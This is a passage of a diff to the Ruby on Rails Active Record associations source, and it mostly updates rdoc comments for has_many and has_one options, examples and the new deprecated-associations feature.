       # on the name of the class, so it may not work for all associations,
@@ -846,7 +710,7 @@ def association_instance_set(name, association)
       #   project.milestones             # fetches milestones from the database
       #   project.milestones.size        # uses the milestone cache
       #   project.milestones.empty?      # uses the milestone cache
-      #   project.milestones(true).size  # fetches milestones from the database
+      #   project.milestones.reload.size # fetches milestones from the database
       #   project.milestones             # uses the milestone cache
       #
       # == Eager loading of associations
@@ -956,7 +820,7 @@ def association_instance_set(name, association)
       # query per addressable type.
       # For example, if all the addressables are either of class Person or Company, then a total
       # of 3 queries will be executed. The list of addressable types to load is determined on
-      # the back of the addresses loaded. This is not supported if Active Record has to fallback
+      # the back of the addresses loaded. This is not supported if Active Record has to fall back
       # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError.
       # The reason is that the parent model's type is a column value so its corresponding table
       # name cannot be put in the +FROM+/+JOIN+ clauses of that query.
@@ -969,45 +833,45 @@ def association_instance_set(name, association)
       # Indexes are appended for any more successive uses of the table name.
       #
       #   Post.joins(:comments)
-      #   # => SELECT ... FROM posts INNER JOIN comments ON ...
+      #   # SELECT ... FROM posts INNER JOIN comments ON ...
       #   Post.joins(:special_comments) # STI
-      #   # => SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment'
+      #   # SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment'
       #   Post.joins(:comments, :special_comments) # special_comments is the reflection name, posts is the parent table name
-      #   # => SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts
+      #   # SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts
       #
       # Acts as tree example:
       #
       #   TreeMixin.joins(:children)
-      #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+      #   # SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
       #   TreeMixin.joins(children: :parent)
-      #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
-      #                               INNER JOIN parents_mixins ...
+      #   # SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+      #   #                        INNER JOIN parents_mixins ...
       #   TreeMixin.joins(children: {parent: :children})
-      #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
-      #                               INNER JOIN parents_mixins ...
-      #                               INNER JOIN mixins childrens_mixins_2
+      #   # SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+      #   #                        INNER JOIN parents_mixins ...
+      #   #                        INNER JOIN mixins childrens_mixins_2
       #
       # Has and Belongs to Many join tables use the same idea, but add a <tt>_join</tt> suffix:
       #
       #   Post.joins(:categories)
-      #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+      #   # SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
       #   Post.joins(categories: :posts)
-      #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
-      #                              INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+      #   # SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+      #   #                       INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
       #   Post.joins(categories: {posts: :categories})
-      #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
-      #                              INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
-      #                              INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2
+      #   # SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+      #   #                       INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+      #   #                       INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2
       #
       # If you wish to specify your own custom joins using ActiveRecord::QueryMethods#joins method, those table
       # names will take precedence over the eager associations:
       #
       #   Post.joins(:comments).joins("inner join comments ...")
-      #   # => SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ...
+      #   # SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ...
       #   Post.joins(:comments, :special_comments).joins("inner join comments ...")
-      #   # => SELECT ... FROM posts INNER JOIN comments comments_posts ON ...
-      #                              INNER JOIN comments special_comments_posts ...
-      #                              INNER JOIN comments ...
+      #   # SELECT ... FROM posts INNER JOIN comments comments_posts ON ...
+      #   #                       INNER JOIN comments special_comments_posts ...
+      #   #                       INNER JOIN comments ...
       #
       # Table aliases are automatically truncated according to the maximum length of table identifiers
       # according to the specific database.
@@ -1088,13 +952,8 @@ def association_instance_set(name, association)
       #      belongs_to :dungeon, inverse_of: :evil_wizard
       #    end
       #
-      # There are limitations to <tt>:inverse_of</tt> support:
-      #
-      # * does not work with <tt>:through</tt> associations.
-      # * does not work with <tt>:polymorphic</tt> associations.
-      # * inverse associations for #belongs_to associations #has_many are ignored.
-      #
-      # For more information, see the documentation for the +:inverse_of+ option.
+      # For more information, see the documentation for the +:inverse_of+ option and the
+      # {Active Record Associations guide}[https://guides.rubyonrails.org/association_basics.html#bi-directional-associations].
       #
       # == Deleting from associations
       #
@@ -1116,7 +975,7 @@ def association_instance_set(name, association)
       # specific association types. When no option is given, the behavior is to do nothing
       # with the associated records when destroying a record.
       #
-      # Note that <tt>:dependent</tt> is implemented using Rails' callback
+      # Note that <tt>:dependent</tt> is implemented using \Rails' callback
       # system, which works by processing callbacks in order. Therefore, other
       # callbacks declared either before or after the <tt>:dependent</tt> option
       # can affect what it does.
@@ -1171,6 +1030,116 @@ def association_instance_set(name, association)
       # associated records themselves, you can always do something along the lines of
       # <tt>person.tasks.each(&:destroy)</tt>.
       #
+      # == Deprecated \Associations
+      #
+      # \Associations can be marked as deprecated by passing <tt>deprecated: true</tt>:
+      #
+      #     has_many :posts, deprecated: true
+      #
+      # When a deprecated association is used, a warning is issued using the
+      # Active Record logger, though more options are available via
+      # configuration.
+      #
+      # The message includes some context that helps understand the deprecated
+      # usage:
+      #
+      #     The association Author#posts is deprecated, the method post_ids was invoked (...)
+      #     The association Author#posts is deprecated, referenced in query to preload records (...)
+      #
+      # The dots in the examples above would have the application-level spot
+      # where usage occurred, to help locate what triggered the warning. That
+      # location is computed using the Active Record backtrace cleaner.
+      #
+      # === What is considered to be usage?
+      #
+      # * Invocation of any association methods like +posts+, <tt>posts=</tt>,
+      #   etc.
+      #
+      # * If the association accepts nested attributes, assignment to those
+      #   attributes.
+      #
+      # * If the association is a through association and some of its nested
+      #   associations are deprecated, you'll get warnings for them whenever the
+      #   top-level through is used. This is so regardless of whether the
+      #   through itself is deprecated.
+      #
+      # * Execution of queries that refer to the association. Think execution of
+      #   <tt>eager_load(:posts)</tt>, <tt>joins(author: :posts)</tt>, etc.
+      #
+      # * If the association has a +:dependent+ option, destroying the
+      #   associated record issues warnings (because that has a side-effect that
+      #   would not happen if the association was removed).
+      #
+      # * If the association has a +:touch+ option, saving or destroying the
+      #   record issues a warning (because that has a side-effect that would not
+      #   happen if the association was removed).
+      #
+      # === Things that do NOT issue warnings
+      #
+      # The rationale behind most of the following edge cases is that Active
+      # Record accesses associations lazily, when used. Before that, the
+      # reference to the association is basically just a Ruby symbol.
+      #
+      # * If +posts+ is deprecated, <tt>has_many :comments, through: :posts</tt>
+      #   does not warn. Usage of the +comments+ association reports usage of
+      #   +posts+, as we explained above, but the definition of the +has_many+
+      #   itself does not.
+      #
+      # * Similarly, <tt>accepts_nested_attributes_for :posts</tt> does not
+      #   warn. Assignment to the posts attributes warns, as explained above,
+      #   but the +accepts_nested_attributes_for+ call itself does not.
+      #
+      # * Same if an association declares to be inverse of a deprecated one, the
+      #   macro itself does not warn.
+      #
+      # * In the same line, the declaration <tt>validates_associated :posts</tt>
+      #   does not warn by itself, though access is reported when the validation
+      #   runs.
+      #
+      # * Relation query methods like <tt>Author.includes(:posts)</tt> do not
+      #   warn by themselves. At that point, that is a relation that internally
+      #   stores a symbol for later use. As explained in the previous section,
+      #   you get a warning when/if the query is executed.
+      #
+      # * Access to the reflection object of the association as in
+      #   <tt>Author.reflect_on_association(:posts)</tt> or
+      #   <tt>Author.reflect_on_all_associations</tt> does not warn.
+      #
+      # === Configuration
+      #
+      # Reporting deprecated usage can be configured:
+      #
+      #     config.active_record.deprecated_associations_options = { ... }
+      #
+      # If present, this has to be a hash with keys +:mode+ and/or +:backtrace+.
+      #
+      # ==== Mode
+      #
+      # * In +:warn+ mode, usage issues a warning that includes the
+      #   application-level place where the access happened, if any. This is the
+      #   default mode.
+      #
+      # * In +:raise+ mode, usage raises an
+      #   ActiveRecord::DeprecatedAssociationError with a similar message and a
+      #   clean backtrace in the exception object.
+      #
+      # * In +:notify+ mode, a <tt>deprecated_association.active_record</tt>
+      #   Active Support notification is published. The event payload has the
+      #   association reflection (+:reflection+), the application-level location
+      #   (+:location+) where the access happened (a Thread::Backtrace::Location
+      #   object, or +nil+), and a deprecation message (+:message+).
+      #
+      # ==== Backtrace
+      #
+      # If +:backtrace+ is true, warnings include a clean backtrace in the message
+      # and notifications have a +:backtrace+ key in the payload with an array
+      # of clean Thread::Backtrace::Location objects. Exceptions always get a
+      # clean stack trace set.
+      #
+      # Clean backtraces are computed using the Active Record backtrace cleaner.
+      # In Rails applications, that is by the default the same as
+      # <tt>Rails.backtrace_cleaner</tt>.
+      #
       # == Type safety with ActiveRecord::AssociationTypeMismatch
       #
       # If you attempt to assign an object to an association that doesn't match the inferred
@@ -1187,15 +1156,15 @@ module ClassMethods
         # +collection+ is a placeholder for the symbol passed as the +name+ argument, so
         # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.
         #
-        # [collection(force_reload = false)]
-        #   Returns an array of all the associated objects.
-        #   An empty array is returned if none are found.
-        # [collection<<(object, ...)]
+        # [<tt>collection</tt>]
+        #   Returns a Relation of all the associated objects.
+        #   An empty Relation is returned if none are found.
+        # [<tt>collection<<(object, ...)</tt>]
         #   Adds one or more objects to the collection by setting their foreign keys to the collection's primary key.
         #   Note that this operation instantly fires update SQL without waiting for the save or update call on the
         #   parent object, unless the parent object is a new record.
         #   This will also run validations and callbacks of associated object(s).
-        # [collection.delete(object, ...)]
+        # [<tt>collection.delete(object, ...)</tt>]
         #   Removes one or more objects from the collection by setting their foreign keys to +NULL+.
         #   Objects will be in addition destroyed if they're associated with <tt>dependent: :destroy</tt>,
         #   and deleted if they're associated with <tt>dependent: :delete_all</tt>.
@@ -1203,71 +1172,84 @@ module ClassMethods
         #   If the <tt>:through</tt> option is used, then the join records are deleted (rather than
         #   nullified) by default, but you can specify <tt>dependent: :destroy</tt> or
         #   <tt>dependent: :nullify</tt> to override this.
-        # [collection.destroy(object, ...)]
+        # [<tt>collection.destroy(object, ...)</tt>]
         #   Removes one or more objects from the collection by running <tt>destroy</tt> on
         #   each record, regardless of any dependent option, ensuring callbacks are run.
         #
         #   If the <tt>:through</tt> option is used, then the join records are destroyed
         #   instead, not the objects themselves.
-        # [collection=objects]
+        # [<tt>collection=objects</tt>]
         #   Replaces the collections content by deleting and adding objects as appropriate. If the <tt>:through</tt>
         #   option is true callbacks in the join models are triggered except destroy callbacks, since deletion is
         #   direct by default. You can specify <tt>dependent: :destroy</tt> or
         #   <tt>dependent: :nullify</tt> to override this.
-        # [collection_singular_ids]
+        # [<tt>collection_singular_ids</tt>]
         #   Returns an array of the associated objects' ids
-        # [collection_singular_ids=ids]
+        # [<tt>collection_singular_ids=ids</tt>]
         #   Replace the collection with the objects identified by the primary keys in +ids+. This
         #   method loads the models and calls <tt>collection=</tt>. See above.
-        # [collection.clear]
+        # [<tt>collection.clear</tt>]
         #   Removes every object from the collection. This destroys the associated objects if they
         #   are associated with <tt>dependent: :destroy</tt>, deletes them directly from the
         #   database if <tt>dependent: :delete_all</tt>, otherwise sets their foreign keys to +NULL+.
         #   If the <tt>:through</tt> option is true no destroy callbacks are invoked on the join models.
         #   Join models are directly deleted.
-        # [collection.empty?]
+        # [<tt>collection.empty?</tt>]
         #   Returns +true+ if there are no associated objects.
-        # [collection.size]
+        # [<tt>collection.size</tt>]
         #   Returns the number of associated objects.
-        # [collection.find(...)]
+        # [<tt>collection.find(...)</tt>]
         #   Finds an associated object according to the same rules as ActiveRecord::FinderMethods#find.
-        # [collection.exists?(...)]
+        # [<tt>collection.exists?(...)</tt>]
         #   Checks whether an associated object with the given conditions exists.
         #   Uses the same rules as ActiveRecord::FinderMethods#exists?.
-        # [collection.build(attributes = {}, ...)]
+        # [<tt>collection.build(attributes = {}, ...)</tt>]
         #   Returns one or more new objects of the collection type that have been instantiated
         #   with +attributes+ and linked to this object through a foreign key, but have not yet
         #   been saved.
-        # [collection.create(attributes = {})]
+        # [<tt>collection.create(attributes = {})</tt>]
         #   Returns a new object of the collection type that has been instantiated
         #   with +attributes+, linked to this object through a foreign key, and that has already
         #   been saved (if it passed the validation). *Note*: This only works if the base model
         #   already exists in the DB, not if it is a new (unsaved) record!
-        # [collection.create!(attributes = {})]
+        # [<tt>collection.create!(attributes = {})</tt>]
         #   Does the same as <tt>collection.create</tt>, but raises ActiveRecord::RecordInvalid
         #   if the record is invalid.
+        # [<tt>collection.reload</tt>]
+        #   Returns a Relation of all of the associated objects, forcing a database read.
+        #   An empty Relation is returned if none are found.
+        #
+        # ==== Example
+        #
+        #   class Firm < ActiveRecord::Base
+        #     has_many :clients
+        #   end
+        #
+        # Declaring <tt>has_many :clients</tt> adds the following methods (and more):
+        #
+        #   firm = Firm.find(2)
+        #   client = Client.find(6)
+        #
+        #   firm.clients                       # similar to Client.where(firm_id: 2)
+        #   firm.clients << client
+        #   firm.clients.delete(client)
+        #   firm.clients.destroy(client)
+        #   firm.clients = [client]
+        #   firm.client_ids
+        #   firm.client_ids = [6]
+        #   firm.clients.clear
+        #   firm.clients.empty?                # similar to firm.clients.size == 0
+        #   firm.clients.size                  # similar to Client.count "firm_id = 2"
+        #   firm.clients.find                  # similar to Client.where(firm_id: 2).find(6)
+        #   firm.clients.exists?(name: 'ACME') # similar to Client.exists?(name: 'ACME', firm_id: 2)
+        #   firm.clients.build                 # similar to Client.new(firm_id: 2)
+        #   firm.clients.create                # similar to Client.create(firm_id: 2)
+        #   firm.clients.create!               # similar to Client.create!(firm_id: 2)
+        #   firm.clients.reload
         #
-        # === Example
-        #
-        # A <tt>Firm</tt> class declares <tt>has_many :clients</tt>, which will add:
-        # * <tt>Firm#clients</tt> (similar to <tt>Client.where(firm_id: id)</tt>)
-        # * <tt>Firm#clients<<</tt>
-        # * <tt>Firm#clients.delete</tt>
-        # * <tt>Firm#clients.destroy</tt>
-        # * <tt>Firm#clients=</tt>
-        # * <tt>Firm#client_ids</tt>
-        # * <tt>Firm#client_ids=</tt>
-        # * <tt>Firm#clients.clear</tt>
-        # * <tt>Firm#clients.empty?</tt> (similar to <tt>firm.clients.size == 0</tt>)
-        # * <tt>Firm#clients.size</tt> (similar to <tt>Client.count "firm_id = #{id}"</tt>)
-        # * <tt>Firm#clients.find</tt> (similar to <tt>Client.where(firm_id: id).find(id)</tt>)
-        # * <tt>Firm#clients.exists?(name: 'ACME')</tt> (similar to <tt>Client.exists?(name: 'ACME', firm_id: firm.id)</tt>)
-        # * <tt>Firm#clients.build</tt> (similar to <tt>Client.new("firm_id" => id)</tt>)
-        # * <tt>Firm#clients.create</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save; c</tt>)
-        # * <tt>Firm#clients.create!</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save!</tt>)
         # The declaration can also include an +options+ hash to specialize the behavior of the association.
         #
-        # === Scopes
+        # ==== Scopes
         #
         # You can pass a second argument +scope+ as a callable (i.e. proc or
         # lambda) to retrieve a specific set of records or customize the generated
@@ -1276,12 +1258,12 @@ module ClassMethods
         # Scope examples:
         #   has_many :comments, -> { where(author_id: 1) }
         #   has_many :employees, -> { joins(:address) }
-        #   has_many :posts, ->(post) { where("max_post_length > ?", post.length) }
+        #   has_many :posts, ->(blog) { where("max_post_length > ?", blog.max_post_length) }
         #
-        # === Extensions
+        # ==== Extensions
         #
         # The +extension+ argument allows you to pass a block into a has_many
-        # association. This is useful for adding new finders, creators and other
+        # association. This is useful for adding new finders, creators, and other
         # factory-type methods to be used as part of the association.
         #
         # Extension examples:
@@ -1292,35 +1274,43 @@ module ClassMethods
         #     end
         #   end
         #
-        # === Options
-        # [:class_name]
+        # ==== Options
+        # [+:class_name+]
         #   Specify the class name of the association. Use it only if that name can't be inferred
         #   from the association name. So <tt>has_many :products</tt> will by default be linked
         #   to the +Product+ class, but if the real class name is +SpecialProduct+, you'll have to
         #   specify it with this option.
-        # [:foreign_key]
+        # [+:foreign_key+]
         #   Specify the foreign key used for the association. By default this is guessed to be the name
         #   of this class in lower-case and "_id" suffixed. So a Person class that makes a #has_many
         #   association will use "person_id" as the default <tt>:foreign_key</tt>.
-        # [:foreign_type]
+        #
+        #   Setting the <tt>:foreign_key</tt> option prevents automatic detection of the association's
+        #   inverse, so it is generally a good idea to set the <tt>:inverse_of</tt> option as well.
+        # [+:foreign_type+]
         #   Specify the column used to store the associated object's type, if this is a polymorphic
         #   association. By default this is guessed to be the name of the polymorphic association
         #   specified on "as" option with a "_type" suffix. So a class that defines a
         #   <tt>has_many :tags, as: :taggable</tt> association will use "taggable_type" as the
         #   default <tt>:foreign_type</tt>.
-        # [:primary_key]
+        # [+:primary_key+]
         #   Specify the name of the column to use as the primary key for the association. By default this is +id+.
-        # [:dependent]
+        # [+:dependent+]
         #   Controls what happens to the associated objects when
         #   their owner is destroyed. Note that these are implemented as
-        #   callbacks, and Rails executes callbacks in order. Therefore, other
+        #   callbacks, and \Rails executes callbacks in order. Therefore, other
         #   similar callbacks may affect the <tt>:dependent</tt> behavior, and the
         #   <tt>:dependent</tt> behavior may affect other callbacks.
         #
+        #   * <tt>nil</tt> do nothing (default).
         #   * <tt>:destroy</tt> causes all the associated objects to also be destroyed.
+        #   * <tt>:destroy_async</tt> destroys all the associated objects in a background job. <b>WARNING:</b> Do not use
+        #     this option if the association is backed by foreign key constraints in your database. The foreign key
+        #     constraint actions will occur inside the same transaction that deletes its owner.
         #   * <tt>:delete_all</tt> causes all the associated objects to be deleted directly from the database (so callbacks will not be executed).
-        #   * <tt>:nullify</tt> causes the foreign keys to be set to +NULL+. Callbacks are not executed.
-        #   * <tt>:restrict_with_exception</tt> causes an exception to be raised if there are any associated records.
+        #   * <tt>:nullify</tt> causes the foreign keys to be set to +NULL+. Polymorphic type will also be nullified
+        #     on polymorphic associations. Callbacks are not executed.
+        #   * <tt>:restrict_with_exception</tt> causes an ActiveRecord::DeleteRestrictionError exception to be raised if there are any associated records.
         #   * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there are any associated objects.
         #
         #   If using with the <tt>:through</tt> option, the association on the join model must be
@@ -1332,14 +1322,16 @@ module ClassMethods
         #   <tt>has_many :comments, -> { where published: true }, dependent: :destroy</tt> and <tt>destroy</tt> is
         #   called on a post, only published comments are destroyed. This means that any unpublished comments in the
         #   database would still contain a foreign key pointing to the now deleted post.
-        # [:counter_cache]
+        # [+:counter_cache+]
         #   This option can be used to configure a custom named <tt>:counter_cache.</tt> You only need this option,
         #   when you customized the name of your <tt>:counter_cache</tt> on the #belongs_to association.
-        # [:as]
+        # [+:as+]
         #   Specifies a polymorphic interface (See #belongs_to).
-        # [:through]
-        #   Specifies an association through which to perform the query. This can be any other type
-        #   of association, including other <tt>:through</tt> associations. Options for <tt>:class_name</tt>,
+        # [+:through+]
+        #   Specifies an association through which to perform the query.
+        #
+        #   This can be any other type of association, including other <tt>:through</tt> associations,
+        #   but it cannot be a polymorphic association. Options for <tt>:class_name</tt>,
         #   <tt>:primary_key</tt> and <tt>:foreign_key</tt> are ignored, as the association uses the
         #   source reflection.
         #
@@ -1351,20 +1343,28 @@ module ClassMethods
         #   If you are going to modify the association (rather than just read from it), then it is
         #   a good idea to set the <tt>:inverse_of</tt> option on the source association on the
         #   join model. This allows associated records to be built which will automatically create
-        #   the appropriate join model records when they are saved. (See the 'Association Join Models'
-        #   section above.)
-        # [:source]
+        #   the appropriate join model records when they are saved. See
+        #   {Association Join Models}[rdoc-ref:Associations::ClassMethods@Association+Join+Models]
+        #   and {Setting Inverses}[rdoc-ref:Associations::ClassMethods@Setting+Inverses] for
+        #   more detail.
+        #
+        # [+:disable_joins+]
+        #   Specifies whether joins should be skipped for an association. If set to true, two or more queries
+        #   will be generated. Note that in some cases, if order or limit is applied, it will be done in-memory
+        #   due to database limitations. This option is only applicable on <tt>has_many :through</tt> associations as
+        #   +has_many+ alone do not perform a join.
+        # [+:source+]
         #   Specifies the source association name used by #has_many <tt>:through</tt> queries.
         #   Only use it if the name cannot be inferred from the association.
         #   <tt>has_many :subscribers, through: :subscriptions</tt> will look for either <tt>:subscribers</tt> or
         #   <tt>:subscriber</tt> on Subscription, unless a <tt>:source</tt> is given.
-        # [:source_type]
+        # [+:source_type+]
         #   Specifies type of the source association used by #has_many <tt>:through</tt> queries where the source
         #   association is a polymorphic #belongs_to.
-        # [:validate]
+        # [+:validate+]
         #   When set to +true+, validates new objects added to association when saving the parent object. +true+ by default.
         #   If you want to ensure associated objects are revalidated on every update, use +validates_associated+.
-        # [:autosave]
+        # [+:autosave+]
         #   If true, always save the associated objects or destroy them if marked for destruction,
         #   when saving the parent object. If false, never save or destroy the associated objects.
         #   By default, only save associated objects that are new records. This option is implemented as a
@@ -1373,15 +1373,43 @@ module ClassMethods
         #
         #   Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets
         #   <tt>:autosave</tt> to <tt>true</tt>.
-        # [:inverse_of]
+        # [+:inverse_of+]
         #   Specifies the name of the #belongs_to association on the associated object
-        #   that is the inverse of this #has_many association. Does not work in combination
-        #   with <tt>:through</tt> or <tt>:as</tt> options.
-        #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
-        # [:extend]
+        #   that is the inverse of this #has_many association.
+        #   See {Bi-directional associations}[rdoc-ref:Associations::ClassMethods@Bi-directional+associations]
+        #   for more detail.
+        # [+:extend+]
         #   Specifies a module or array of modules that will be extended into the association object returned.
         #   Useful for defining methods on associations, especially when they should be shared between multiple
         #   association objects.
+        # [+:strict_loading+]
+        #   When set to +true+, enforces strict loading every time the associated record is loaded through this
+        #   association.
+        # [+:ensuring_owner_was+]
+        #   Specifies an instance method to be called on the owner. The method must return true in order for the
+        #   associated records to be deleted in a background job.
+        # [+:query_constraints+]
+        #   Serves as a composite foreign key. Defines the list of columns to be used to query the associated object.
+        #   This is an optional option. By default Rails will attempt to derive the value automatically.
+        #   When the value is set the Array size must match associated model's primary key or +query_constraints+ size.
+        # [+:index_errors+]
+        #   Allows differentiation of multiple validation errors from the association records, by including
+        #   an index in the error attribute name, e.g. +roles[2].level+.
+        #   When set to +true+, the index is based on association order, i.e. database order, with yet to be
+        #   persisted new records placed at the end.
+        #   When set to +:nested_attributes_order+, the index is based on the record order received by
+        #   nested attributes setter, when accepts_nested_attributes_for is used.
+        # [:before_add]
+        #   Defines an {association callback}[rdoc-ref:Associations::ClassMethods@Association+callbacks] that gets triggered <b>before an object is added</b> to the association collection.
+        # [:after_add]
+        #   Defines an {association callback}[rdoc-ref:Associations::ClassMethods@Association+callbacks] that gets triggered <b>after an object is added</b> to the association collection.
+        # [:before_remove]
+        #   Defines an {association callback}[rdoc-ref:Associations::ClassMethods@Association+callbacks] that gets triggered <b>before an object is removed</b> from the association collection.
+        # [:after_remove]
+        #   Defines an {association callback}[rdoc-ref:Associations::ClassMethods@Association+callbacks] that gets triggered <b>after an object is removed</b> from the association collection.
+        # [+:deprecated+]
+        #   If true, marks the association as deprecated. Usage of deprecated associations is reported.
+        #   Please, check the class documentation above for details.
         #
         # Option examples:
         #   has_many :comments, -> { order("posted_on") }
@@ -1392,49 +1420,69 @@ module ClassMethods
         #   has_many :tags, as: :taggable
         #   has_many :reports, -> { readonly }
         #   has_many :subscribers, through: :subscriptions, source: :user
-        def has_many(name, scope = nil, options = {}, &extension)
+        #   has_many :subscribers, through: :subscriptions, disable_joins: true
+        #   has_many :comments, strict_loading: true
+        #   has_many :comments, query_constraints: [:blog_id, :post_id]
+        #   has_many :comments, index_errors: :nested_attributes_order
+        def has_many(name, scope = nil, **options, &extension)
           reflection = Builder::HasMany.build(self, name, scope, options, &extension)
-          Reflection.add_reflection self, name, reflection
+          Reflection.add_reflection(self, name, reflection)
         end
 
-        # Specifies a one-to-one association with another class. This method should only be used
-        # if the other class contains the foreign key. If the current class contains the foreign key,
-        # then you should use #belongs_to instead. See also ActiveRecord::Associations::ClassMethods's overview
-        # on when to use #has_one and when to use #belongs_to.
+        # Specifies a one-to-one association with another class. This method
+        # should only be used if the other class contains the foreign key. If
+        # the current class contains the foreign key, then you should use
+        # #belongs_to instead. See {Is it a belongs_to or has_one
+        # association?}[rdoc-ref:Associations::ClassMethods@Is+it+a+-23belongs_to+or+-23has_one+association-3F]
+        # for more detail on when to use #has_one and when to use #belongs_to.
         #
         # The following methods for retrieval and query of a single associated object will be added:
         #
         # +association+ is a placeholder for the symbol passed as the +name+ argument, so
         # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.
         #
-        # [association(force_reload = false)]
+        # [<tt>association</tt>]
         #   Returns the associated object. +nil+ is returned if none is found.
-        # [association=(associate)]
+        # [<tt>association=(associate)</tt>]
         #   Assigns the associate object, extracts the primary key, sets it as the foreign key,
         #   and saves the associate object. To avoid database inconsistencies, permanently deletes an existing
         #   associated object when assigning a new one, even if the new one isn't saved to database.
-        # [build_association(attributes = {})]
+        # [<tt>build_association(attributes = {})</tt>]
         #   Returns a new object of the associated type that has been instantiated
         #   with +attributes+ and linked to this object through a foreign key, but has not
         #   yet been saved.
-        # [create_association(attributes = {})]
+        # [<tt>create_association(attributes = {})</tt>]
         #   Returns a new object of the associated type that has been instantiated
         #   with +attributes+, linked to this object through a foreign key, and that
         #   has already been saved (if it passed the validation).
-        # [create_association!(attributes = {})]
+        # [<tt>create_association!(attributes = {})</tt>]
         #   Does the same as <tt>create_association</tt>, but raises ActiveRecord::RecordInvalid
         #   if the record is invalid.
+        # [<tt>reload_association</tt>]
+        #   Returns the associated object, forcing a database read.
+        # [<tt>reset_association</tt>]
+        #   Unloads the associated object. The next access will query it from the database.
         #
-        # === Example
+        # ==== Example
         #
-        # An Account class declares <tt>has_one :beneficiary</tt>, which will add:
-        # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.where(account_id: id).first</tt>)
-        # * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>)
-        # * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>)
-        # * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
-        # * <tt>Account#create_beneficiary!</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save!; b</tt>)
+        #   class Account < ActiveRecord::Base
+        #     has_one :beneficiary
+        #   end
+        #
+        # Declaring <tt>has_one :beneficiary</tt> adds the following methods (and more):
+        #
+        #   account = Account.find(5)
+        #   beneficiary = Beneficiary.find(8)
         #
-        # === Scopes
+        #   account.beneficiary               # similar to Beneficiary.find_by(account_id: 5)
+        #   account.beneficiary = beneficiary # similar to beneficiary.update(account_id: 5)
+        #   account.build_beneficiary         # similar to Beneficiary.new(account_id: 5)
+        #   account.create_beneficiary        # similar to Beneficiary.create(account_id: 5)
+        #   account.create_beneficiary!       # similar to Beneficiary.create!(account_id: 5)
+        #   account.reload_beneficiary
+        #   account.reset_beneficiary
+        #
+        # ==== Scopes
         #
         # You can pass a second argument +scope+ as a callable (i.e. proc or
         # lambda) to retrieve a specific record or customize the generated query
@@ -1443,95 +1491,151 @@ def has_many(name, scope = nil, options = {}, &extension)
         # Scope examples:
         #   has_one :author, -> { where(comment_id: 1) }
         #   has_one :employer, -> { joins(:company) }
-        #   has_one :dob, ->(dob) { where("Date.new(2000, 01, 01) > ?", dob) }
+        #   has_one :latest_post, ->(blog) { where("created_at > ?", blog.enabled_at) }
         #
-        # === Options
+        # ==== Options
         #
         # The declaration can also include an +options+ hash to specialize the behavior of the association.
         #
         # Options are:
-        # [:class_name]
+        # [+:class_name+]
         #   Specify the class name of the association. Use it only if that name can't be inferred
         #   from the association name. So <tt>has_one :manager</tt> will by default be linked to the Manager class, but
         #   if the real class name is Person, you'll have to specify it with this option.
-        # [:dependent]
+        # [+:dependent+]
         #   Controls what happens to the associated object when
         #   its owner is destroyed:
         #
+        #   * <tt>nil</tt> do nothing (default).
         #   * <tt>:destroy</tt> causes the associated object to also be destroyed
+        #   * <tt>:destroy_async</tt> causes the associated object to be destroyed in a background job. <b>WARNING:</b> Do not use
+        #     this option if the association is backed by foreign key constraints in your database. The foreign key
+        #     constraint actions will occur inside the same transaction that deletes its owner.
         #   * <tt>:delete</tt> causes the associated object to be deleted directly from the database (so callbacks will not execute)
-        #   * <tt>:nullify</tt> causes the foreign key to be set to +NULL+. Callbacks are not executed.
-        #   * <tt>:restrict_with_exception</tt> causes an exception to be raised if there is an associated record
+        #   * <tt>:nullify</tt> causes the foreign key to be set to +NULL+. Polymorphic type column is also nullified
+        #     on polymorphic associations. Callbacks are not executed.
+        #   * <tt>:restrict_with_exception</tt> causes an ActiveRecord::DeleteRestrictionError exception to be raised if there is an associated record
         #   * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there is an associated object
         #
         #   Note that <tt>:dependent</tt> option is ignored when using <tt>:through</tt> option.
-        # [:foreign_key]
+        # [+:foreign_key+]
         #   Specify the foreign key used for the association. By default this is guessed to be the name
         #   of this class in lower-case and "_id" suffixed. So a Person class that makes a #has_one association
         #   will use "person_id" as the default <tt>:foreign_key</tt>.
-        # [:foreign_type]
